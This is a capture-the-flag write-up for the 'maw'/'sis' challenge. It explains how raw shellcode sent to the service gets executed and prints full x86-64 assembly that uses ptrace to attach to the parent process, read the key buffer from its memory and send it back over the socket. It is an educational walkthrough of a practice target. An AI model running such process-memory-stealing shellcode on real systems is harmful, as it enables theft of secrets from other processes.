Score 1
I hear banjos.

As the title might suggest, this challenge involves children creation and family betrayal. The two given binaries are ELF64.

The first binary, maw, accepts connections from the users and do the classic accept and fork for each of those. Then, it opens the key file in read only and executes (via execl) the second binary, sis. We can already notice that the file descriptor for the key file will also be available in the children sis, as well as the socket of the client, the number of these two file descriptors being passed on the command-line.

This second program forks after parsing these arguments and setting-up a couple of signals and alarms. The parent closes the client’s socket file descriptor, allocates a buffer on the heap (via calloc) and reads the content of the key file to this buffer. The child maps a new page, recv 0x200 bytes from the socket to this page and directly call this page. The two new processes then wait in an infinite loop and end-up killed by a SIGALARM set-up at the start of the sis program.

In a first time, what we can retain from all this is that we only have to send the raw bytes of a shellcode and it will be directly executed without any trouble or restriction other than being limited to 0x200 bytes, if we call that a restriction…

So we began by writing a simple 3 × dup2 and execve(bash) which allowed us to browse the server and get a few pieces of information about the environment. This allowed us to notice that the key file was only readable by maw, which dropped its privileges before executing sis. It was thus impossible to read the key from the shell we had.

This convinced us that the only way to read the key was to read the memory of the sis parent process (remember: sis forks and the shellcode is executed in the child) from the child, because it reads the key in a buffer and simply waits 15 seconds before exiting.

We tried to make gdb read the parent memory from the shell we had, but could not get it working, contrary to other teams, as we discovered at the end of the CTF. So we built a shellcode that manipulate ptrace to read the key from the parent process.

It was pretty straightforward to write, it simply:

  • gets the PID of the parent,
  • attaches to this parent,
  • waits for the parent,
  • gets the rbp of the parent, which is useless because this should be the same for both process, but we used this to debug our shellcode so we kept it,
  • finds the address of the allocated buffer,
  • sends the content of this buffer over the socket.

However we got stuck at this point with all our PTRACE_PEEKTEXT failing. We had used the manpage of ptrace(2) to fill the ptrace syscall arguments, but this manpage actually documents the ptrace wrapper in the glibc, which, for some reason, does not use the same arguments as the Linux syscall. We lost a lot of time on this stupid mistake.

Anyway, here is the final working shellcode :

```nasm ; getppid xor rax, rax mov al, 0x6e syscall mov r14, rax

; ptrace_attach mov rdi, 0x10 mov rsi, r14 xor rax, rax mov al, 0x65 syscall

; wait() xor rdi, rdi dec rdi xor rsi, rsi xor rdx, rdx xor rcx, rcx xor rax, rax mov al, 61 syscall

; ptrace_getregs mov rdi, 0xc mov rsi, r14 xor rdx, rdx mov r10, rsp xor rdx, rdx xor rax, rax mov al, 0x65 syscall xor r10, r10

mov r12, [rsp + 4*8] ; get the parent rbp add r12, -0x18 ; r12 = location of the wanted buffer

; ptrace_peektext : get the address of the buffer mov rdi, 0x1 mov rsi, r14 mov rdx, r12 mov r10, rsp xor rax, rax mov al, 0x65 syscall

; from r12 to r13 = (r12 + 0x80) mov r12, [rsp] mov r13, r12 ; to r13 add r13, 0x80

loop: ; ptrace_peektext mov rdi, 0x1 mov rsi, r14 mov rdx, r12 mov r10, rsp xor rax, rax mov al, 0x65 syscall

; write rax mov rax, [rsp] push rax push rsp pop rsi ; buf mov rdi, 0x4 ; fd mov rdx, 0x8 ; len xor rax, rax inc rax syscall pop rax

add r12, 0x8 cmp r12, r13 jbe loop